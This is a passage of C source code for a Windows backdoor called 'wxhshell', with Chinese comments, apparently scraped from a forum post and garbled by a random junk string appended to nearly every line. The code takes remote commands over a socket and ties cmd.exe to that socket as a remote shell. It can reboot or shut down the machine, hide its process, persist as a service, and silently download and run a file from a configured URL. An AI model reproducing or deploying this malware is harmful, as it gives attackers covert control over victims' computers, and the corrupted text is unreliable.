  9gglyoZ%  
  // 帮助 O;i0xWUh  
  case '?': { <EcxNj1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); D _ 1O4/  
    break; B?yj U[/R  
  } <1B+@  
  // 安装 [^7P ]olW  
  case 'i': { 42p1P6d  
    if(Install()) fFYoZ/\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OhMJt&s9P=  
    else a2ho+TwT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $rTb'8  
    break; 8Lgm50bs  
    } S4?WR+:h  
  // 卸载 jVZ<i}h0B  
  case 'r': { Pf<yLT]  
    if(Uninstall()) |i #06jIq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =FI[/"476  
    else bC~I}^i\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5pC}ZgEa<  
    break; t`{T:Tjc  
    } 1e7I2g  
  // 显示 wxhshell 所在路径 ek U%^R<  
  case 'p': { (9kR'kr  
    char svExeFile[MAX_PATH]; WUo\jm[yr  
    strcpy(svExeFile,"\n\r"); `34{/ }w  
      strcat(svExeFile,ExeFile); /HS"{@Z"h  
        send(wsh,svExeFile,strlen(svExeFile),0); 0FY-e~xr  
    break; &%GAPs%  
    } mwyB~,[d+W  
  // 重启 A_WaRYG  
  case 'b': { F3]VSI6^E,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); nm& pn*1  
    if(Boot(REBOOT)) MB $aN':  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <VQ)}HW;k  
    else { 1r_V$o$  
    closesocket(wsh); ;ISe@ yR;  
    ExitThread(0); k<CbI V  
    } hqlQ-aytS  
    break; i;s;:{cn  
    } Pr(@&:v:  
  // 关机 { PJ>gX$  
  case 'd': { Gk/cP`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); A<"< DDy  
    if(Boot(SHUTDOWN)) GBWL0'COV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UV0[S8A  
    else { ,|}mo+rb-  
    closesocket(wsh); V=% ;5/  
    ExitThread(0); )p1~Jx(\  
    } Ej 5_d  
    break; bk;uKV+<  
    } RPte[tq  
  // 获取shell -`eB4j'7  
  case 's': { kd\Hj~*  
    CmdShell(wsh); l'aCpzf  
    closesocket(wsh); w= n(2M56C  
    ExitThread(0); ; :q  
    break; m4m|?  
  } 4OQ,|Wm4G  
  // 退出 h.F=Fhx/1  
  case 'x': { k4hk* 0Jq  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +xU({/  
    CloseIt(wsh); l"1D' Hk  
    break; Ox&G  [  
    } D>@NYqMF  
  // 离开 5oSp/M  
  case 'q': { :$,MAQ'9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Mqvo j7  
    closesocket(wsh); f7][#EL  
    WSACleanup(); R LMn&j|?e  
    exit(1); e0(aRN{W  
    break; Cl9nmyf   
        } ..+#~3es#y  
  } ' h<(  
  } 0V21_".S  
>5:O%zQ@  
  // 提示信息 zBTW&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y%; o  
} z\A ),;  
  } S#v3%)R  
YzQ1c~+  
  return; |\?u-O3  
} PnaiSt9p?r  
kaB4[u  
// shell模块句柄 %K-8DL8|(  
int CmdShell(SOCKET sock) '&B4Ccn<V  
{ H~nZ=`P9&  
STARTUPINFO si; FX|&o >S(8  
ZeroMemory(&si,sizeof(si)); %dg[ho  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Es)|#0m\x@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ) y;7\-K0  
PROCESS_INFORMATION ProcessInfo; _/noWwVu  
char cmdline[]="cmd"; O0xqA\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); y32$b,%Xi,  
  return 0; KNd<8{'.  
} L/exR6M7  
/*,_\ ;  
// 自身启动模式 ktx| c19  
int StartFromService(void) ^N|8 B?Vg  
{ v[^8_y}A`  
typedef struct ~"#HHaBO#  
{ L*[3rqER  
  DWORD ExitStatus; Yg3nT:K_Y&  
  DWORD PebBaseAddress; W_JO~P  
  DWORD AffinityMask; y^`JWs,  
  DWORD BasePriority; Y.]$T8  
  ULONG UniqueProcessId; X_hDU~5{wC  
  ULONG InheritedFromUniqueProcessId; 9g5h~ Ma  
}   PROCESS_BASIC_INFORMATION; = a60Xv  
-[ gT}{k!  
PROCNTQSIP NtQueryInformationProcess; BDWbWA 6  
2a48(~<_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U|%}B(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +jwHYfAK)  
`w\P- q  
  HANDLE             hProcess; 9yC22C:  
  PROCESS_BASIC_INFORMATION pbi; tOLcnWt   
jJNCNH*0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); % J^x `P  
  if(NULL == hInst ) return 0; jxkjPf?  
2*V[kmD/3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Lm2) 3;ei  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~Q]5g7k=&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); aYb97}kI  
DJ:'<"zH7  
  if (!NtQueryInformationProcess) return 0; Coe/4! $M  
;s/<wx-C  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4$pV;xV  
  if(!hProcess) return 0; Rt+-ud{O  
> ]^'h  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {XmCG%%L  
71{jedT  
  CloseHandle(hProcess); A+0-pF2D  
r.\L@Y<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); K8&;B)VT>  
if(hProcess==NULL) return 0; % (y{Sca  
Bso#+v5  
HMODULE hMod; A,cXN1V  
char procName[255]; F. SB_S<'  
unsigned long cbNeeded; j/d}B_2  
y]fI7nu&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); gE#'Zv{7  
KZw~Ch}b9  
  CloseHandle(hProcess); ^D$|$=|DH  
\xCCJWek  
if(strstr(procName,"services")) return 1; // 以服务启动 h&$h<zL[  
yEI@^8]s  
  return 0; // 注册表启动 ezp%8IZ;  
} $3g{9)}  
lbBWOx/|  
// 主模块 }Ze*/ p-  
int StartWxhshell(LPSTR lpCmdLine) LD}~]  
{ c_D(%Vf5  
  SOCKET wsl; _b~{/[s  
BOOL val=TRUE; aLGq<6Ja  
  int port=0; Lr$M k#'B  
  struct sockaddr_in door; nOGTeKjEJ  
_V-KyK  
  if(wscfg.ws_autoins) Install(); WI/tWj0  
Ec@n<KK#  
port=atoi(lpCmdLine); 2+ cs^M3  
Sz go@x$^  
if(port<=0) port=wscfg.ws_port; wwB3m&  
Lz'VQO1U=  
  WSADATA data; *7jz(iX  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0B]q /G(  
6(f 'P_*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Yg^ &4ZF  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Y#ZgrziYM  
  door.sin_family = AF_INET; xf]K  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]$@D=g,r  
  door.sin_port = htons(port); w#|L8VAh  
i.vH$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { R}M ;, G  
closesocket(wsl); DVL-qt\;n  
return 1; E5bVCAz  
} ]]O( IC  
|h\7Q1,1~2  
  if(listen(wsl,2) == INVALID_SOCKET) { I4X9RYB6c  
closesocket(wsl); W-=6:y#A  
return 1; ;/j2(O^  
} >CqzC8JF  
  Wxhshell(wsl); E[]5Od5#  
  WSACleanup(); No'?8+i  
[X.bR$>  
return 0; vA1Yya B  
E+]9!fDy<  
} N>!:bF  
YNEwX$)M,B  
// 以NT服务方式启动 JNfL jfE)<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ) CP  
{ cQU;PH]  
DWORD   status = 0; {arqcILr  
  DWORD   specificError = 0xfffffff; ZD]1C ~)  
"La;$7ds  
  serviceStatus.dwServiceType     = SERVICE_WIN32; r!mRUw'u  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?l0Qi  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; li r=0oq<  
  serviceStatus.dwWin32ExitCode     = 0; T }}2J/sj  
  serviceStatus.dwServiceSpecificExitCode = 0; '+PKGmRW  
  serviceStatus.dwCheckPoint       = 0; `<C<[JP:o  
  serviceStatus.dwWaitHint       = 0; 9{toPED  
6Yj{% G  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); uZ!YGv0^  
  if (hServiceStatusHandle==0) return; YX0ysE*V:&  
0@ Y#P|QF  
status = GetLastError(); AG N/kx  
  if (status!=NO_ERROR) #Vq9 =Q2  
{ 'r?ULft1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~zqb{o^pT  
    serviceStatus.dwCheckPoint       = 0; Lnr9*dm6q  
    serviceStatus.dwWaitHint       = 0; Iux3f+H  
    serviceStatus.dwWin32ExitCode     = status; @Jzk2,rI  
    serviceStatus.dwServiceSpecificExitCode = specificError; K3yQ0k |  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !GqFX+!Ju  
    return; ,@`?I6nKy  
  } HEF e?  
g'(bk@<BP  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; fE-R(9K  
  serviceStatus.dwCheckPoint       = 0; k6(7G@@}  
  serviceStatus.dwWaitHint       = 0; E(jZ Do  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ZEP?~zV\A  
} k{}> *pCU  
gxv^=;2C  
// 处理NT服务事件,比如:启动、停止 m\L`$=eO8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) b2m={q(s  
{ 3e_tT8  
switch(fdwControl) /Nf{;G!kg  
{ ;w7mr1  
case SERVICE_CONTROL_STOP: i+Z)`  
  serviceStatus.dwWin32ExitCode = 0; O$,F ga  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )U@9dV7u  
  serviceStatus.dwCheckPoint   = 0; utlr|m Xc  
  serviceStatus.dwWaitHint     = 0; 53HA6:Q[  
  { ! _S#8"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~||0lj.D  
  } 6hxZ5&;(*  
  return; kA:mB;:  
case SERVICE_CONTROL_PAUSE: v/+ <YU  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Re$h6sh  
  break; z5E%*]  
case SERVICE_CONTROL_CONTINUE: (Rw<1q`,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; KGz Nj%  
  break; Bm$|XS3cD  
case SERVICE_CONTROL_INTERROGATE: "o5]:]h)  
  break; 7'G;ijx  
}; ]juPm8eF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X3.zNHN5  
} Fc~G*Gz~Z|  
nf.Ox.kM)  
// 标准应用程序主函数 -@pjEI  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) VW-qQe  
{ B~p%pT S+  
!J$r|IX5  
// 获取操作系统版本 k^J8 p#`6  
OsIsNt=GetOsVer(); 8<=^Rkz  
GetModuleFileName(NULL,ExeFile,MAX_PATH); o?`FjZ6;x  
J]F&4 O  
  // 从命令行安装 mMAN* }`O  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?Nos;_/  
8Zr;n`~  
  // 下载执行文件 ul~ux$a  
if(wscfg.ws_downexe) { &N~Eu-@b  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Q_5 l.M/9]  
  WinExec(wscfg.ws_filenam,SW_HIDE); Qs6<(zaqkt  
} ,2@o`R.27  
3_(_yEKx  
if(!OsIsNt) { .WSyL  
// 如果时win9x,隐藏进程并且设置为注册表启动 1Cr&6't  
HideProc(); ,"v&r(  
StartWxhshell(lpCmdLine); `2lS@  
} n6/Ous  
else WyN ;lId  
  if(StartFromService()) 0dch OUj  
  // 以服务方式启动 kpm;ohd  
  StartServiceCtrlDispatcher(DispatchTable); >Bt82ibN  
else Xka REE  
  // 普通方式启动 NkZG   
  StartWxhshell(lpCmdLine); bZqTT~'T  
J=g)rd[`  
return 0; O2w-nd74U  
}
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只看该作者 1 发表于: 2006-10-10
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